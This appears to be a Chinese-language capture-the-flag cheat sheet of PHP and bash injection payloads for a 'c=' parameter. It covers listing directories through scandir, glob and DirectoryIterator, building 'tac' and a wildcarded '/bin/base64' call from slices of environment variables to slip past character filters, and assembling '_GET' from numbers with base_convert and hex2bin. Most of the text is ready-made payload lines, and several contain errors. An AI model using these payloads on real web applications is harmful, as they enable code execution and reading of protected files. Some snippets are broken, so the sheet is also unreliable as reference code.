print_r扫描目录
c=print_r(scandir('.')); #查看当前目录
c=print_r(scandir('/')); #查看根目录
c=print_r(glob('*')); #查看当前目录
c=print_r(glob('/*')); #查看根目录
var_dump扫描目录
c=var_dump(scandir('.')); #查看当前目录
c=var_dump(scandir('/')); #查看根目录
c=var_dump(glob('*)); #查看当前目录
c=var_dump(glob('/*')); #查看根目录
var_export扫描目录
c=var_export(scandir('.')); #查看当前目录
c=var_export(scandir('/')); #查看根目录
c=var_export(glob('*')); #查看当前目录
c=var_exportdump(glob('/*')); #查看根目录
glob目录遍历
c=
$a=new DirectoryIterator("glob:///*");
foreach($a as $f){
echo $f." " ;
}
exit();
或者
$a = "glob:///*.txt";
if($b=opendir($a)){
while(($file=readdir($b))!==false){
echo "filename:".$b."n";
}
close($b);
}
【opendir、readdir、scanddir:
opendir(path,context)若成功,则该函数返回一个目录流,否则返回 false 以及一个 error。可以通过在函数名前加上 “@” 来隐藏 error 的输出。
readdir() 函数返回由 opendir() 打开的目录句柄中的条目。若成功,则该函数返回一个文件名,否则返回 false。
scandir() 函数返回一个数组,其中包含指定路径中的文件和目录。
若成功,则返回一个数组,若失败,则返回 false。如果 directory 不是目录,则返回布尔值 false。】
{_} = ""
$(())=0
$((~$(())))=-1
11.服务器变量构造查询语句
常见的系统变量:
PHP可用的函数:
1 PHP_CFLAGS=-fstack-protectcor-strong-fpic-fpie-o2-D_LARGEFILE_SOURCE -D_FI LE_OFFSET_BITS=64 2 3 PHP_VERSION=7.3.22 /版本 4 SHLVL=2 /记录多个bash进程实例嵌套深度的累加器 5 [PATH] => /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 6 [HOSTNAME] => glot-runner /主机名 [PHPIZE_DEPS] => autoconf dpkg-dev file g++ gcc libc-dev make pkg-config re2c 7 8 [PHP_INI_DIR] => /usr/local/etc/php 9 [PHP_CFLAGS] => -fstack-protector-strong -fpic -fpie -O2 10 [PHP_CPPFLAGS] => -fstack-protector-strong -fpic -fpie -O2 11 [PHP_LDFLAGS] => -Wl,-O1 -Wl,--hash-style=both -pie [GPG_KEYS] => 1729F83938DA44E27BA0F4D3DBDB397470D12172 B1B44D8F021E4E2 D6021E995DC9FF8D3EE5AF27F 12 13 [PHP_VERSION] => 7.2.1 14 [PHP_ASC_URL] => https://secure.php.net/get/php-7.2.1.tar.xz.asc/from/ this/mirror 15 [PHP_SHA256] => 6c6cf82fda6660ed963821eb0525214bb3547e8e29f447b9c15b2d 8e6efd8822 16 17 [PHP_MD5] => 18 [HOME] => /home/glot 19 [PHP_SELF] => /tmp/543750210/main.php 20 [script_NAME] => /tmp/543750210/main.php 21 [script_FILENAME] => /tmp/543750210/main.php 22 [PATH_TRANSLATED] => /tmp/543750210/main.php 23 [document_ROOT] => 24 [REQUEST_TIME_FLOAT] => 1524198667.12 25 [REQUEST_TIME] => 1524198667 26 [argv] => Array 27 ( 28 [0] => /tmp/543750210/main.php 29 ) 30 [argc] => 1 31 )
构建tac
tac====>${PHP_CFLAGS:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}:${PHP_VERS
ION:${PHP_VERSION:~A}:~${SHLVL}}}
⾸先获取到3以便于得到 PHP_CFLAGS 中的tac:
从 PHP_VERSION 中截取 ${PHP_VERSION:2:1} //切⽚操作
这⾥的2:
可以⽤ ${PHP_VERSION:~A} 得到字符串的最后⼀位
这⾥的1:
可以⽤ ${~SHLVL} 得到,因为按位取反10取反得到01所以 ~2=1 ;
因此: 3=${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}
最终的tac命令: a. ${PHP_CFLAGS:3:3} //切⽚操作,也就是上⾯3的语句直接复制⼀遍
也就是: ${PHP_CFLAGS:${PHP_VERSION:${PHP_VERSION:~A}:${~SHLVL}}:${ PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}} //得到tac指令
构建base641 PHP_CFLAGS=-fstack-protectcor-strong-fpic-fpie-o2-D_LARGEFILE_SOURCE -D_FI
LE_OFFSET_BITS=64
2 PHP_VERSION=7.3.22
3 SHLVL=2
4
5 ???? //代表base
6 ${#PHP_VERSION}${PHP_CFLAGS:~A} //代表64
7 题目需要base64命令的绝对路径:
8 ${PWD::${#SHLVL}} //代表'/'
9 ${#SHLVL} //#用来求变量值的长度
10 初次完整的命令:
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}????${#PHP_VERSION}${PHP_CFLAGS:~A}
????.??? //长度超过限制需要缩减
11
12 随机数:
13 ${RANDOM} //随机代表一个数
14 ${#RANDOM} //代表这个随机数的长度
由于64代表的字符串过长,将6代表的字符串去掉(用?代替)将4代表的字符串用随机数的长度字
符串代替
15
16 最终的语句:
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.??? //带有随机
性,只要${RANDOM}是一个四位数就可以,多试几次
12. 以数字和不敏感函数构造敏感函数
1 base_convert(1231231131,10,36) ===>hex2bin 2 hex2bin(dechex(1598506324))=======>_GET 3 $hex2bin(dechex(1598506324))=======>$_GET



